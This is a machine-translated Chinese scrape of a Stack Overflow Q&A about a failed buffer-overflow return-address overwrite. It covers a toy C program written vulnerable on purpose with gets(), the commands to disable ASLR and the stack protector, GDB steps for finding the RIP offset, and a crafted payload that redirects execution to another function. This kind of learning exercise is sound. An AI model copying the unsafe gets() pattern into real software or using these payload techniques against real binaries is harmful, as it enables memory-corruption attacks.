【问题标题】:ROP faild on linux even when ASLR and stack compiler protector are disabled即使禁用了 ASLR 和堆栈编译器保护器,Linux 上的 ROP 也会失败
【发布时间】:2020-11-02 11:54:49
【问题描述】:

我关闭了 gcc 堆栈保护器的 ASLR 和 tern。

我编写了易受攻击的 C 代码并试图溢出缓冲区,因此我检查了崩溃需要多少字符。我试图将返回地址更改为另一个函数,但我收到一条消息:

Segmentation fault (core dumped)

这是我的 C 代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>



void sss()
{
  printf("good by");
}


void scriptpy(){
   printf("hello world\n");
}



int main(int argc , char** argv)
{
  char buf[4];
  gets(buf);
  return 0;
}

我找到了“sss”函数的地址 我试图插入十六进制值。

这是我的地址:

(gdb) disas sss
 Dump of assembler code for function sss:
   0x00000000000006ca <+0>: push   %rbp

要编辑我插入的退货地址:

printf "AAAABBBBB/xe2/x06/x00/x00/x00/x00/x00/x00" | ./cTutorial

【问题讨论】:

    标签: c linux aslr buffer-overrun


    【解决方案1】:

    假设二进制文件是使用标志-fno-stack-protector 编译的,并且ASLR 被禁用echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

    查找崩溃:

    程序开始崩溃,有效载荷为 12 个字符:

    $ python3 -c "print('A' * 12)" | ./cTutorial
    Segmentation fault (core dumped)
    

    控制 RIP

    使用GDB查找覆盖RIP的偏移量,我们可以发现RIP的第一个字节可以被0x41('A')覆盖,有效载荷为13个字符:

    $ gdb -q cTutorial
    Reading symbols from cTutorial...
    (No debugging symbols found in cTutorial)
    (gdb) r <<<$(python3 -c "print('A' * 13)")
    Program received signal SIGSEGV, Segmentation fault.
    0x00007ffff7de0041 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
    

    请注意,RIP 被 0041 覆盖,其中00 是终止字符串的空字符。

    控制 RIP 的所有字节:

    (gdb) r <<<$(python3 -c "print('A' * 18)")
    Program received signal SIGSEGV, Segmentation fault.
    0x0000414141414141 in ?? ()
    

    假设函数sss位于地址0x0000555555555189

    最终的payload是:

    (gdb) b sss
    (gdb) r <<<$(python3 -c "print('A' * 11 + '\x89\x51\x55\x55\x55\x55')")
    breakpoint 1, 0x0000555555555189 in sss ()
    

    其中 11 = 18 - (len('\x89\x51\x55\x55\x55\x55') + 1)
    +1 表示空字节

    跳转到函数sss。跳转到函数sss后程序会崩溃,因为堆栈会损坏。

    【讨论】:

    • 感谢您的帮助。但我尝试了你的方式,我得到了同样的结果。也许我错过了什么或不明白。
    • 你能发布你的有效载荷/漏洞吗?
    猜你喜欢
    • 1970-01-01
    • 2016-06-26
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2019-06-08
    • 1970-01-01
    • 2019-12-13
    • 2014-04-16
    相关资源
    最近更新 更多